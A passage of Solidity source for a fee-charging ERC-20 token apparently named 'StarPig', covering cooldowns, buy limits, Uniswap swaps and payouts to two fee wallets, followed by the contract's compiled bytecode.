isBuy = true; } // token if(!_inSwap && _tradingOpen && from != uniswapV2Pair) { require(cooldown[from].buy < block.timestamp + (15 seconds), "plz wait."); uint contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance > 0) { if(_useImpactFeeSetter) { if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) { contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100; } } swapTokensForEth(contractTokenBalance); } uint contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } isBuy = false; } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee,isBuy); } function swapTokensForEth(uint tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint amount) private { _FeeAddress1.transfer(amount / 2); _FeeAddress2.transfer(amount / 2); } function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private { (uint fee) = _getFee(takefee, buy); _transferStandard(sender, recipient, amount, fee); } function _getFee(bool takefee, bool buy) private view returns (uint) { uint fee = 0; if(takefee) { if(buy) { fee = _buyFee; } else { fee = _sellFee; } } return fee; } function _transferStandard(address sender, address recipient, uint amount, uint fee) private { (uint transferAmount, uint team) = _getValues(amount, fee); _owned[sender] = _owned[sender] - amount; _owned[recipient] = _owned[recipient] + transferAmount; _takeTeam(team); emit Transfer(sender, recipient, transferAmount); } function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) { uint team = (amount * teamFee) / 100; uint transferAmount = amount - team; return (transferAmount, team); } function _takeTeam(uint team) private { _owned[address(this)] = _owned[address(this)] + team; } receive() external payable {} // external functions function addLiquidity() external onlyOwner() { require(!_tradingOpen, "Trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _totalSupply); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function openTrading() external onlyOwner() { require(!_tradingOpen, "Trading is already open"); _tradingOpen = true; _launchedAt = block.timestamp; _maxBuyAmount = 50000000000 * 10**9; // 5% _maxHeldTokens = 100000000000 * 10**9; // 10% } function manualswap() external { require(_msgSender() == _FeeAddress1); uint contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress1); uint contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setFeeRate(uint rate) external { require(_msgSender() == _FeeAddress1); require(rate > 0, "Rate can't be zero"); _feeRate = rate; emit FeeRateUpdated(_feeRate); } function setFees(uint buy, uint sell) external { require(_msgSender() == _FeeAddress1); require(buy < 13 && sell < 13 && buy < _buyFee && sell < _sellFee); _buyFee = buy; _sellFee = sell; emit FeesUpdated(_buyFee, _sellFee); } function toggleImpactFee(bool onoff) external { require(_msgSender() == _FeeAddress1); _useImpactFeeSetter = onoff; emit ImpactFeeSetterUpdated(_useImpactFeeSetter); } function updateFeeAddress1(address newAddress) external { require(_msgSender() == _FeeAddress1); _FeeAddress1 = payable(newAddress); emit FeeAddress1Updated(_FeeAddress1); } function updateFeeAddress2(address newAddress) external { require(_msgSender() == _FeeAddress2); _FeeAddress2 = payable(newAddress); emit FeeAddress2Updated(_FeeAddress2); } function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } }
0x6080604052600436106101dc5760003560e01c806349bd5a5e1161010257806395d89b4111610095578063db92dbb611610064578063db92dbb614610661578063dcb0e0ad1461068c578063dd62ed3e146106b5578063e8078d94146106f2576101e3565b806395d89b41146105cb578063a9059cbb146105f6578063c3c8cd8014610633578063c9567bf91461064a576101e3565b806370a08231116100d157806370a0823114610521578063715018a61461055e5780638da5cb5b1461057557806394b8d8f2146105a0576101e3565b806349bd5a5e1461048b57806350901617146104b6578063590f897e146104df5780636fc3eaec1461050a576101e3565b806323b872dd1161017a578063367c554411610149578063367c5544146103e15780633bed43551461040c57806340b9a54b1461043757806345596e2e14610462576101e3565b806323b872dd1461032357806327f3a72a14610360578063313ce5671461038b57806332d873d8146103b6576101e3565b8063095ea7b3116101b6578063095ea7b3146102675780630b78f9c0146102a457806318160ddd146102cd5780631940d020146102f8576101e3565b80630492f055146101e857806306fdde03146102135780630802d2f61461023e576101e3565b366101e357005b600080fd5b3480156101f457600080fd5b506101fd610709565b60405161020a91906127ff565b60405180910390f35b34801561021f57600080fd5b5061022861070f565b60405161023591906128b3565b60405180910390f35b34801561024a57600080fd5b5061026560048036038101906102609190612938565b610748565b005b34801561027357600080fd5b5061028e60048036038101906102899190612991565b610846565b60405161029b91906129ec565b60405180910390f35b3480156102b057600080fd5b506102cb60048036038101906102c69190612a07565b610864565b005b3480156102d957600080fd5b506102e2610947565b6040516102ef91906127ff565b60405180910390f35b34801561030457600080fd5b5061030d610958565b60405161031a91906127ff565b60405180910390f35b34801561032f57600080fd5b5061034a60048036038101906103459190612a47565b61095e565b60405161035791906129ec565b60405180910390f35b34801561036c57600080fd5b50610375610b4f565b60405161038291906127ff565b60405180910390f35b34801561039757600080fd5b506103a0610b5f565b6040516103ad9190612ab6565b60405180910390f35b3480156103c257600080fd5b506103cb610b64565b6040516103d891906127ff565b60405180910390f35b3480156103ed57600080fd5b506103f6610b6a565b6040516104039190612af2565b60405180910390f35b34801561041857600080fd5b50610421610b90565b60405161042e9190612af2565b60405180910390f35b34801561044357600080fd5b5061044c610bb6565b60405161045991906127ff565b60405180910390f35b34801561046e57600080fd5b5061048960048036038101906104849190612b0d565b610bbc565b005b34801561049757600080fd5b506104a0610ca3565b6040516104ad9190612b49565b60405180910390f35b3480156104c257600080fd5b506104dd60048036038101906104d89190612938565b610cc9565b005b3480156104eb57600080fd5b506104f4610dc7565b60405161050191906127ff565b60405180910390f35b34801561051657600080fd5b5061051f610dcd565b005b34801561052d57600080fd5b5061054860048036038101906105439190612938565b610e3f565b60405161055591906127ff565b60405180910390f35b34801561056a57600080fd5b50610573610e88565b005b34801561058157600080fd5b5061058a610fdb565b6040516105979190612b49565b60405180910390f35b3480156105ac57600080fd5b506105b5611004565b6040516105c291906129ec565b60405180910390f35b3480156105d757600080fd5b506105e0611017565b6040516105ed91906128b3565b60405180910390f35b34801561060257600080fd5b5061061d60048036038101906106189190612991565b611050565b60405161062a91906129ec565b60405180910390f35b34801561063f57600080fd5b5061064861106e565b005b34801561065657600080fd5b5061065f6110e8565b005b34801561066d57600080fd5b50610676611211565b60405161068391906127ff565b60405180910390f35b34801561069857600080fd5b506106b360048036038101906106ae9190612b90565b611243565b005b3480156106c157600080fd5b506106dc60048036038101906106d79190612bbd565b611307565b6040516106e991906127ff565b60405180910390f35b3480156106fe57600080fd5b5061070761138e565b005b600d5481565b6040518060400160405280600781526020017f537461725069670000000000000000000000000000000000000000000000000081525081565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661078961183f565b73ffffffffffffffffffffffffffffffffffffffff16146107a957600080fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f0e96f8986653644392af4a5daec8b04a389af0d497572173e63846ccd26c843c600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660405161083b9190612c5c565b60405180910390a150565b600061085a61085361183f565b8484611847565b6001905092915050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108a561183f565b73ffffffffffffffffffffffffffffffffffffffff16146108c557600080fd5b600d821080156108d55750600d81105b80156108e25750600a5482105b80156108ef5750600b5481105b6108f857600080fd5b81600a8190555080600b819055507f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1600a54600b5460405161093b929190612c77565b60405180910390a15050565b6000683635c9adc5dea00000905090565b600e5481565b6000601060009054906101000a900460ff1680156109c65750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015610a1f5750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b15610a93573273ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610a92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8990612cec565b60405180910390fd5b5b610a9e848484611a12565b600082600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610aea61183f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b2f9190612d3b565b9050610b4385610b3d61183f565b83611847565b60019150509392505050565b6000610b5a30610e3f565b905090565b600981565b600f5481565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a5481565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bfd61183f565b73ffffffffffffffffffffffffffffffffffffffff1614610c1d57600080fd5b60008111610c60576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5790612dbb565b60405180910390fd5b80600c819055507f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8600c54604051610c9891906127ff565b60405180910390a150565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d0a61183f565b73ffffffffffffffffffffffffffffffffffffffff1614610d2a57600080fd5b80600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f96511497113ddf59712b28350d7457b9c300ab227616bd3b451745a395a53014600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051610dbc9190612c5c565b60405180910390a150565b600b5481565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610e0e61183f565b73ffffffffffffffffffffffffffffffffffffffff1614610e2e57600080fd5b6000479050610e3c816121be565b50565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610e9061183f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f1d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1490612e27565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b601060029054906101000a900460ff1681565b6040518060400160405280600781526020017f537461725069670000000000000000000000000000000000000000000000000081525081565b600061106461105d61183f565b8484611a12565b6001905092915050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110af61183f565b73ffffffffffffffffffffffffffffffffffffffff16146110cf57600080fd5b60006110da30610e3f565b90506110e5816122ab565b50565b6110f061183f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461117d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117490612e27565b60405180910390fd5b601060009054906101000a900460ff16156111cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c490612e93565b60405180910390fd5b6001601060006101000a81548160ff02191690831515021790555042600f819055506802b5e3af16b1880000600d8190555068056bc75e2d63100000600e81905550565b600061123e600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610e3f565b905090565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661128461183f565b73ffffffffffffffffffffffffffffffffffffffff16146112a457600080fd5b80601060026101000a81548160ff0219169083151502179055507ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb601060029054906101000a900460ff166040516112fc91906129ec565b60405180910390a150565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61139661183f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611423576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161141a90612e27565b60405180910390fd5b601060009054906101000a900460ff1615611473576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146a90612e93565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061150330600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611847565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561154e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115729190612ec8565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156115d9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115fd9190612ec8565b6040518363ffffffff1660e01b815260040161161a929190612ef5565b6020604051808303816000875af1158015611639573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061165d9190612ec8565b600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306116e630610e3f565b6000806116f1610fdb565b426040518863ffffffff1660e01b815260040161171396959493929190612f59565b60606040518083038185885af1158015611731573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906117569190612fcf565b505050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016117f8929190613022565b6020604051808303816000875af1158015611817573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061183b9190613060565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118ae906130ff565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611927576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161191e90613191565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611a0591906127ff565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611a82576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a7990613223565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611af2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ae9906132b5565b60405180910390fd5b60008111611b35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b2c90613347565b60405180910390fd5b6000611b3f610fdb565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611bad5750611b7d610fdb565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156120f957600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611c5d5750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611cb35750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611ef957601060009054906101000a900460ff16611d07576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cfe906133b3565b60405180910390fd5b4261a8c0600f54611d1891906133d3565b1115611d7757600e54611d2a84610e3f565b83611d3591906133d3565b1115611d76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d6d90613475565b60405180910390fd5b5b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160009054906101000a900460ff16611e515760405180604001604052806000815260200160011515815250600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000820151816000015560208201518160010160006101000a81548160ff0219169083151502179055509050505b426078600f54611e6191906133d3565b1115611ead57600d54821115611eac576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ea3906134e1565b60405180910390fd5b5b42600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000181905550600190505b601060019054906101000a900460ff16158015611f225750601060009054906101000a900460ff165b8015611f7c5750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156120f857600f42611f8e91906133d3565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015410612011576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120089061354d565b60405180910390fd5b600061201c30610e3f565b905060008111156120d957601060029054906101000a900460ff16156120cf576064600c5461206c600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610e3f565b612076919061356d565b61208091906135f6565b8111156120ce576064600c546120b7600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610e3f565b6120c1919061356d565b6120cb91906135f6565b90505b5b6120d8816122ab565b5b600047905060008111156120f1576120f0476121be565b5b6000925050505b5b600060019050600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806121a05750600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156121aa57600090505b6121b78585858486612524565b5050505050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc60028361220791906135f6565b9081150290604051600060405180830381858888f19350505050158015612232573d6000803e3d6000fd5b50600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc60028361227c91906135f6565b9081150290604051600060405180830381858888f193505050501580156122a7573d6000803e3d6000fd5b5050565b6001601060016101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156122e3576122e2613627565b5b6040519080825280602002602001820160405280156123115781602001602082028036833780820191505090505b509050308160008151811061232957612328613656565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156123d0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123f49190612ec8565b8160018151811061240857612407613656565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061246f30600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611847565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016124d3959493929190613743565b600060405180830381600087803b1580156124ed57600080fd5b505af1158015612501573d6000803e3d6000fd5b50505050506000601060016101000a81548160ff02191690831515021790555050565b60006125308383612546565b905061253e86868684612574565b505050505050565b60008060009050831561256a57821561256357600a549050612569565b600b5490505b5b8091505092915050565b6000806125818484612717565b9150915083600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125d09190612d3b565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461265e91906133d3565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126aa81612755565b8473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161270791906127ff565b60405180910390a3505050505050565b60008060006064848661272a919061356d565b61273491906135f6565b9050600081866127449190612d3b565b905080829350935050509250929050565b80600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127a091906133d3565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b6000819050919050565b6127f9816127e6565b82525050565b600060208201905061281460008301846127f0565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612854578082015181840152602081019050612839565b83811115612863576000848401525b50505050565b6000601f19601f8301169050919050565b60006128858261281a565b61288f8185612825565b935061289f818560208601612836565b6128a881612869565b840191505092915050565b600060208201905081810360008301526128cd818461287a565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612905826128da565b9050919050565b612915816128fa565b811461292057600080fd5b50565b6000813590506129328161290c565b92915050565b60006020828403121561294e5761294d6128d5565b5b600061295c84828501612923565b91505092915050565b61296e816127e6565b811461297957600080fd5b50565b60008135905061298b81612965565b92915050565b600080604083850312156129a8576129a76128d5565b5b60006129b685828601612923565b92505060206129c78582860161297c565b9150509250929050565b60008115159050919050565b6129e6816129d1565b82525050565b6000602082019050612a0160008301846129dd565b92915050565b60008060408385031215612a1e57612a1d6128d5565b5b6000612a2c8582860161297c565b9250506020612a3d8582860161297c565b9150509250929050565b600080600060608486031215612a6057612a5f6128d5565b5b6000612a6e86828701612923565b9350506020612a7f86828701612923565b9250506040612a908682870161297c565b9150509250925092565b600060ff82169050919050565b612ab081612a9a565b82525050565b6000602082019050612acb6000830184612aa7565b92915050565b6000612adc826128da565b9050919050565b612aec81612ad1565b82525050565b6000602082019050612b076000830184612ae3565b92915050565b600060208284031215612b2357612b226128d5565b5b6000612b318482850161297c565b91505092915050565b612b43816128fa565b82525050565b6000602082019050612b5e6000830184612b3a565b92915050565b612b6d816129d1565b8114612b7857600080fd5b50565b600081359050612b8a81612b64565b92915050565b600060208284031215612ba657612ba56128d5565b5b6000612bb484828501612b7b565b91505092915050565b60008060408385031215612bd457612bd36128d5565b5b6000612be285828601612923565b9250506020612bf385828601612923565b9150509250929050565b6000819050919050565b6000612c22612c1d612c18846128da565b612bfd565b6128da565b9050919050565b6000612c3482612c07565b9050919050565b6000612c4682612c29565b9050919050565b612c5681612c3b565b82525050565b6000602082019050612c716000830184612c4d565b92915050565b6000604082019050612c8c60008301856127f0565b612c9960208301846127f0565b9392505050565b7f4e6f20626f740000000000000000000000000000000000000000000000000000600082015250565b6000612cd6600683612825565b9150612ce182612ca0565b602082019050919050565b60006020820190508181036000830152612d0581612cc9565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612d46826127e6565b9150612d51836127e6565b925082821015612d6457612d63612d0c565b5b828203905092915050565b7f526174652063616e2774206265207a65726f0000000000000000000000000000600082015250565b6000612da5601283612825565b9150612db082612d6f565b602082019050919050565b60006020820190508181036000830152612dd481612d98565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612e11602083612825565b9150612e1c82612ddb565b602082019050919050565b60006020820190508181036000830152612e4081612e04565b9050919050565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612e7d601783612825565b9150612e8882612e47565b602082019050919050565b60006020820190508181036000830152612eac81612e70565b9050919050565b600081519050612ec28161290c565b92915050565b600060208284031215612ede57612edd6128d5565b5b6000612eec84828501612eb3565b91505092915050565b6000604082019050612f0a6000830185612b3a565b612f176020830184612b3a565b9392505050565b6000819050919050565b6000612f43612f3e612f3984612f1e565b612bfd565b6127e6565b9050919050565b612f5381612f28565b82525050565b600060c082019050612f6e6000830189612b3a565b612f7b60208301886127f0565b612f886040830187612f4a565b612f956060830186612f4a565b612fa26080830185612b3a565b612faf60a08301846127f0565b979650505050505050565b600081519050612fc981612965565b92915050565b600080600060608486031215612fe857612fe76128d5565b5b6000612ff686828701612fba565b935050602061300786828701612fba565b925050604061301886828701612fba565b9150509250925092565b60006040820190506130376000830185612b3a565b61304460208301846127f0565b9392505050565b60008151905061305a81612b64565b92915050565b600060208284031215613076576130756128d5565b5b60006130848482850161304b565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006130e9602483612825565b91506130f48261308d565b604082019050919050565b60006020820190508181036000830152613118816130dc565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061317b602283612825565b91506131868261311f565b604082019050919050565b600060208201905081810360008301526131aa8161316e565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061320d602583612825565b9150613218826131b1565b604082019050919050565b6000602082019050818103600083015261323c81613200565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061329f602383612825565b91506132aa82613243565b604082019050919050565b600060208201905081810360008301526132ce81613292565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000613331602983612825565b915061333c826132d5565b604082019050919050565b6000602082019050818103600083015261336081613324565b9050919050565b7f504c5a204f70656e2054726164652e0000000000000000000000000000000000600082015250565b600061339d600f83612825565b91506133a882613367565b602082019050919050565b600060208201905081810360008301526133cc81613390565b9050919050565b60006133de826127e6565b91506133e9836127e6565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561341e5761341d612d0c565b5b828201905092915050565b7f43616e277420686f6c6420616e796d6f72652e00000000000000000000000000600082015250565b600061345f601383612825565b915061346a82613429565b602082019050919050565b6000602082019050818103600083015261348e81613452565b9050919050565b7f446f6e27742062757920746f6f206d7563682e00000000000000000000000000600082015250565b60006134cb601383612825565b91506134d682613495565b602082019050919050565b600060208201905081810360008301526134fa816134be565b9050919050565b7f706c7a20776169742e0000000000000000000000000000000000000000000000600082015250565b6000613537600983612825565b915061354282613501565b602082019050919050565b600060208201905081810360008301526135668161352a565b9050919050565b6000613578826127e6565b9150613583836127e6565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156135bc576135bb612d0c565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613601826127e6565b915061360c836127e6565b92508261361c5761361b6135c7565b5b828204905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6136ba816128fa565b82525050565b60006136cc83836136b1565b60208301905092915050565b6000602082019050919050565b60006136f082613685565b6136fa8185613690565b9350613705836136a1565b8060005b8381101561373657815161371d88826136c0565b9750613728836136d8565b925050600181019050613709565b5085935050505092915050565b600060a08201905061375860008301886127f0565b6137656020830187612f4a565b818103604083015261377781866136e5565b90506137866060830185612b3a565b61379360808301846127f0565b969550505050505056fea2646970667358221220f645cd05cd9978423b4173af87a6c533f21c81638d21ddedf3c98dc01b88220464736f6c634300080a0033
